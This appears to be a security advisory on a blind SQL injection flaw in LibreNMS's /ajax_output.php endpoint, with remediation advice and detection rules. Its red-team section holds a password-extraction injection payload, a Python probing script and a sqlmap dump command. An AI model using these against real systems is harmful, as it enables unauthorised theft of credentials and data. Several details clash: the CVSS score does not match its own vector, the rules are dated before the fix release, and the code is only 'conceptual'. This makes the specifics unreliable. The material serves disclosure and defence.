CVE-2025-65093

Executive Summary

CVE-2025-65093 is a boolean-based blind SQL injection vulnerability discovered in LibreNMS, an auto-discovering PHP/MySQL/SNMP based network monitoring tool. The flaw resides in the /ajax_output.php endpoint, where the hostname parameter is directly interpolated into an SQL query without proper sanitization or parameter binding. This allows an unauthenticated attacker to manipulate the query logic and infer sensitive data from the database through conditional responses (true/false). The vulnerability affects all versions prior to 25.11.0. While the CVSS score is 5.5 (Medium), the potential for data exfiltration and the lack of authentication required make it a significant threat in network monitoring environments.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the LibreNMS PHP application. The supply chain risk is limited to the application's own codebase and does not involve third-party package dependencies.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): Low (L) - Limited data can be extracted (boolean-based inference).
• Integrity (I): None (N) - No data modification is possible.
• Availability (A): None (N) - No denial of service impact.

CVSS Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability allows for data exfiltration but not direct system compromise. However, in a network monitoring context, the extracted data (e.g., device credentials, SNMP community strings) could be used for lateral movement.

Deep Dive & Mechanics

The vulnerability is a classic boolean-based blind SQL injection in the /ajax_output.php endpoint. The hostname parameter is used to construct an SQL query without parameterized statements. An attacker can inject SQL code that modifies the query's WHERE clause to evaluate a condition. Based on whether the condition is true or false, the application returns different responses (e.g., a valid output vs. an empty or error response). This allows the attacker to infer information bit by bit.

Vulnerable Code Snippet (Conceptual):

// Vulnerable: Direct interpolation
$hostname = $_GET['hostname'];
$query = "SELECT * FROM devices WHERE hostname = '$hostname'";
$result = mysqli_query($conn, $query);

Exploitation Technique: The attacker sends requests like:

/ajax_output.php?hostname=valid_device' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' -- -

If the first character of the password is 'a', the query returns results (true). Otherwise, it returns no results (false). By iterating through characters, the entire password can be extracted.

Vulnerable vs. Patched Code

Vulnerable (Pre-25.11.0):

// Direct string interpolation
$hostname = $_GET['hostname'];
$query = "SELECT * FROM devices WHERE hostname = '$hostname'";
$result = mysqli_query($conn, $query);

Patched (25.11.0+):

// Parameterized query
$hostname = $_GET['hostname'];
$stmt = $conn->prepare("SELECT * FROM devices WHERE hostname = ?");
$stmt->bind_param("s", $hostname);
$stmt->execute();
$result = $stmt->get_result();

The patch uses prepared statements with parameter binding, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install LibreNMS version 25.10.0 (vulnerable) on a local VM.
2. Ensure the /ajax_output.php endpoint is accessible.
3. Use a tool like sqlmap or manual scripting.

Manual Exploitation (Python):

import requests

target = "http://target/librenms/ajax_output.php"
# Boolean-based blind injection to extract database version
payload = "' OR (SELECT SUBSTRING(@@version,1,1))='8' -- -"
params = {'hostname': payload}
r = requests.get(target, params=params)
if "valid_response" in r.text:
    print("Condition true - version starts with 8")
else:
    print("Condition false")

Automated with sqlmap:

sqlmap -u "http://target/librenms/ajax_output.php?hostname=test" --batch --dbms=mysql --technique=B --dump

Blue Team (Detection & Response)

Detection:

• Monitor for abnormal SQL-like patterns in the hostname parameter (e.g., ' OR, AND, --).
• Look for repeated requests with varying boolean conditions (e.g., hostname=valid' AND 1=1-- vs hostname=valid' AND 1=2--).
• Alert on high request rates to /ajax_output.php from a single IP.

Response:

• Immediately block the offending IP at the WAF/firewall.
• Review logs for data exfiltration patterns.
• Apply the patch (upgrade to 25.11.0) as soon as possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /ajax_output.php with hostname parameter containing SQL keywords (', OR, AND, --, #, UNION).
  • Repeated requests with slight variations in the hostname parameter (boolean-based probing).
  • Unusual response sizes (e.g., 200 OK with content vs. 200 OK with empty content) for similar requests.

• Host IOCs:

  • Web server logs showing SQL injection attempts in the hostname parameter.
  • Database logs showing unexpected queries (if enabled).

• File IOCs:

  • No specific file IOCs; the vulnerability is exploited via HTTP requests.

Detection Engineering

YARA Rule

rule CVE_2025_65093_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-65093 in LibreNMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65093"
    strings:
        $sqli_pattern1 = /hostname=.*['\"]\s*(OR|AND)\s+.*/ nocase
        $sqli_pattern2 = /hostname=.*--\s*$/ nocase
        $sqli_pattern3 = /hostname=.*UNION\s+SELECT.*/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-65093 LibreNMS SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against LibreNMS /ajax_output.php endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "hostname='"
            - "hostname=%27"
            - "hostname=*' OR"
            - "hostname=*' AND"
            - "hostname=*--"
    condition: selection
falsepositives:
    - Legitimate hostnames containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65093 LibreNMS SQL Injection Attempt"; flow:to_server,established; content:"/ajax_output.php"; http_uri; content:"hostname"; http_uri; pcre:"/hostname=.*['\"]\s*(OR|AND|UNION|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade LibreNMS to version 25.11.0 or later.
2. If immediate upgrade is not possible, implement a WAF rule to block SQL injection patterns in the hostname parameter.
3. Restrict access to /ajax_output.php to trusted IPs only (e.g., internal monitoring subnets).

Long-term Measures:

• Enforce parameterized queries for all database interactions.
• Conduct regular code reviews and static analysis for SQL injection.
• Implement input validation and output encoding.

Workaround:

• Disable the /ajax_output.php endpoint if not required, or modify the web server configuration to require authentication.

Valters IT